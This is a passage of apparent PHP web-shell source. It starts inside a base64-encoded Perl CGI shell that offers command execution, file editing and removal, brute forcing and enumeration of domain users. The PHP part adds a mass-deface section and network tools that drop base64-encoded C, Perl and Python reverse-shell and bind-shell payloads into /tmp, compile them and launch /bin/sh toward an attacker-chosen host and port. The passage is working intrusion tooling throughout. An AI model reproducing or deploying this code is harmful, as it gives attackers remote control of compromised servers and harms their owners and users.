bmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmZmZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZmZmZmY7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=";\r\n\t$cgi = fopen($file_cgi, "w");\r\n\tfwrite($cgi, base64_decode($cgi_script));\r\n\tfwrite($htcgi, $isi_htcgi);\r\n\tchmod($file_cgi, 0755);\r\n        chmod($memeg, 0755);\r\n\techo "<br><center>Done ... <a href=\'priv_cgi/cgi.priv\' target=\'_blank\'>Click Here</a></div>";\r\n\thardFooter();\r\n}\r\n\r\n\r\n// Mass Deface Section Start\r\nfunction actionSql() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Tools</h1><div class=content><br>";\r\n\t\r\n\techo "<br><center> <iframe src=\'?mas\' width=\'800\' height=\'450\'></iframe></a></div>";\r\n\t\r\n\thardFooter();\r\n}\r\n\r\n// Mass Deface Section END\r\n\r\n// Back COnnect SEction\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n\t$pyy="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpp\'>Perl</option><option value=\'bpc\'>C</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'21\'> Using: <label><select name=\'using\'><option value=\'bcpy\'>Python</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select></label> <input type=submit value=\'submit\'><br><br><br>\r\n\t</form><br>"; \r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w)\t{\r\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpc\') {\r\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n\t\t\t@unlink("/tmp/bp.c");\r\n\t\t\t$▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." 